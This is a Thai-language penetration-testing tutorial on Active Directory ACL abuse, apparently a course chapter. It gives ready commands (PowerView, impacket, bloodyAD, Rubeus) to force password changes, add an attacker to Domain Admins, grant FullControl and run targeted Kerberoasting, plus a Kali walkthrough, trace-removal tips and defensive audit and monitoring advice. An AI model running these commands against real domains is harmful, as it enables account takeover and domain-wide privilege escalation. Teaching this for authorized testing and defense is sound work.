ACL Abuse
ACL Abuse ใช้สิทธิ์ที่ตั้งผิดบน object ใน Active Directory (DACL) เพื่อยกระดับสิทธิ์ — เช่น GenericAll, WriteDacl, ForceChangePassword, WriteOwner ที่ให้เราควบคุม user/group/computer อื่นได้ บทนี้ลงลึกแต่ละ ACE สำคัญ, วิธี abuse แต่ละแบบพร้อมคำสั่ง, การต่อเป็น chain, และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — DACL และ misconfiguration
ทุก object ใน AD (user, group, computer, OU) มี DACL (Discretionary Access Control List) ที่ระบุว่าใครทำอะไรกับ object นั้นได้ ผ่าน ACE (Access Control Entry) แต่ละรายการ องค์กรใหญ่มักมี ACE ที่ตั้งผิด เช่น user ธรรมดามี GenericAll บน group สำคัญ — ทำให้เพิ่มตัวเองเข้า group นั้นได้ ACL abuse คือใช้สิทธิ์เหล่านี้ 'เดิน' จากจุดที่ยืนไปสู่สิทธิ์ที่สูงขึ้น ทีละขั้น (BloodHound แสดงเป็น edge)
2. ACE สำคัญและสิ่งที่ทำได้
| ACE | ให้อำนาจอะไร | abuse เป็น |
|---|---|---|
| GenericAll | คุม object เต็ม | ทำได้ทุกอย่างข้างล่าง |
| GenericWrite | เขียน attribute | ตั้ง SPN (targeted Kerberoast), logon script |
| WriteDacl | แก้ DACL ของ object | ให้ GenericAll ตัวเอง |
| WriteOwner | เปลี่ยนเจ้าของ | ยึด object → ให้สิทธิ์ตัวเอง |
| ForceChangePassword | เปลี่ยนรหัส user | ยึดบัญชีนั้น |
| AddMember | เพิ่มสมาชิก group | เพิ่มตัวเองเข้า group สูง |
| AllExtendedRights | extended rights ทั้งหมด | DCSync (ถ้าบน domain), เปลี่ยนรหัส |
3. ForceChangePassword — ยึด user
# PowerView (Windows)
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $pass
# Linux (impacket / net rpc)
net rpc password "victim" "NewPass123!" -U "domain/attacker%password" -S dc.domain.local
# หรือ
changepasswd.py domain.local/victim@dc -newpass 'NewPass123!' -altuser attacker -altpass password4. GenericWrite — targeted Kerberoast / logon script
# GenericWrite บน user → ตั้ง SPN ให้ user นั้น → Kerberoast → crack
# PowerView
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/svc'}
# แล้ว request TGS ของ victim (ดูหัวข้อ Kerberoasting)
Rubeus.exe kerberoast /user:victim
# Linux (targetedKerberoast)
targetedKerberoast.py -d domain.local -u attacker -p password
# ตั้ง SPN ชั่วคราว, roast, ลบ SPN อัตโนมัติ
# หลัง crack ได้รหัส victim → ลบ SPN ที่ตั้ง
Set-DomainObject -Identity victim -Clear serviceprincipalname5. WriteDacl / WriteOwner — ยกระดับสิทธิ์
# WriteDacl: เพิ่ม ACE ให้ตัวเองมี GenericAll บน object
# PowerView
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All
# Linux (dacledit - impacket)
dacledit.py -action write -rights FullControl -principal attacker -target-dn "CN=Domain Admins,..." domain.local/attacker:password
# WriteOwner: เปลี่ยนเจ้าของเป็นตัวเองก่อน แล้วให้สิทธิ์
# PowerView
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
# Linux (owneredit)
owneredit.py -action write -new-owner attacker -target victim domain.local/attacker:password6. AddMember / GenericAll บน group
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# ตรวจ
Get-DomainGroupMember -Identity 'Domain Admins'
# Linux (net rpc / bloodyAD)
net rpc group addmem "Domain Admins" "attacker" -U "domain/attacker%password" -S dc
bloodyAD.py -d domain.local -u attacker -p password add groupMember "Domain Admins" attacker7. ต่อเป็น chain + การป้องกัน
ACL abuse มักต่อกันเป็น chain — BloodHound แสดงเส้นทาง เช่น: user เรา →(GenericWrite)→ user A →(MemberOf)→ group B →(GenericAll)→ Domain Admins ตามทีละ edge โดยดู Abuse Info ของแต่ละขั้น
- workflow: BloodHound หา path → ตามแต่ละ ACE edge → abuse ทีละขั้นจนถึง DA
- OPSEC: ลบ ACE/SPN/group membership ที่เพิ่มหลังเสร็จ; การแก้ DACL ถูก log (Event 5136)
- ป้องกัน: audit DACL ของ object สำคัญ (โดยเฉพาะ domain, privileged groups)
- ป้องกัน: ลบ ACE ที่ให้ user ทั่วไปมีสิทธิ์เหนือ object สูง (least privilege)
- ป้องกัน: monitor Event 4720/4728/5136 (สร้าง user, เพิ่ม group member, แก้ DACL)
- ป้องกัน: ใช้ BloodHound เองเพื่อหา attack path แล้วปิด (proactive)
8. Quick Reference
- ใช้ ACE ที่ตั้งผิดบน object → ยกระดับสิทธิ์ (BloodHound แสดง edge)
- GenericAll = ทำได้ทุกอย่าง; WriteDacl = ให้สิทธิ์ตัวเอง; WriteOwner = ยึด
- ForceChangePassword: Set-DomainUserPassword / net rpc password
- GenericWrite: ตั้ง SPN → targeted Kerberoast
- AddMember/GenericAll บน group: Add-DomainGroupMember 'Domain Admins'
- WriteDacl/Owner: Add-DomainObjectAcl -Rights All → GenericAll
- ป้องกัน: audit DACL, least privilege, monitor 5136/4728
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ BloodHound ชี้ edge สีแดง (GenericAll/WriteDacl/AddMember ฯลฯ) จาก node ที่เราคุมไปยัง object อื่น มีแค่ Kali ทำตามนี้ไล่ abuse ทีละ edge จนกว่าจะถึงสิทธิ์สูงสุด
- 1เปิด BloodHound คลิกที่ edge เส้นที่ชี้มา → แท็บ 'Abuse Info' อ่านคำสั่งที่แนะนำ (มักมีทั้ง Windows/Linux)
- 2ยืนยันชนิด ACE ที่มี: ดูจาก edge label (GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember)
- 3ถ้าเป็น ForceChangePassword: เปลี่ยนรหัส victim ทันที
net rpc password 'victim' 'NewPass123!' -U 'domain/attacker%password' -S dc.domain.local - 4ถ้าเป็น GenericWrite: ตั้ง SPN ปลอมแล้ว targeted Kerberoast
targetedKerberoast.py -d domain.local -u attacker -p password - 5ถ้าเป็น GenericAll/AddMember บน group: เพิ่มตัวเองเข้า group
bloodyAD.py -d domain.local -u attacker -p password add groupMember 'Domain Admins' attacker - 6ถ้าเป็น WriteDacl/WriteOwner: ให้สิทธิ์ตัวเองเพิ่มด้วย
dacledit.py/owneredit.pyจาก impacket - 7ยืนยันผล: login ด้วย credential/สิทธิ์ใหม่
netexec smb <DC_IP> -u attacker -p pass - 8ถ้า path ยังไม่ถึง DA — กลับไป BloodHound ดู edge ถัดไปในเส้นทาง (chain ต่อ)
- 9ถ้า ACE ที่ควรมีกลับใช้ไม่ได้ (deny พิเศษ) → กลับไปหา edge อื่นจาก BloodHound
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| วิเคราะห์ edge/abuse info | BloodHound | BloodHound CE (docker compose) | bloodhound.readthedocs.io |
| เปลี่ยนรหัส/ACL/group ผ่าน RPC | impacket (net rpc, dacledit.py, owneredit.py) | pipx install impacket | - |
| PowerView-style ops จาก Linux | - | pipx install bloodyAD | - |
| targeted Kerberoast | impacket | git clone targetedKerberoast | - |
| crack hash ที่ได้ | hashcat | - | hashes.com, crackstation.net |
| ยืนยัน creds/สิทธิ์ใหม่ | netexec (crackmapexec) | apt install netexec | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้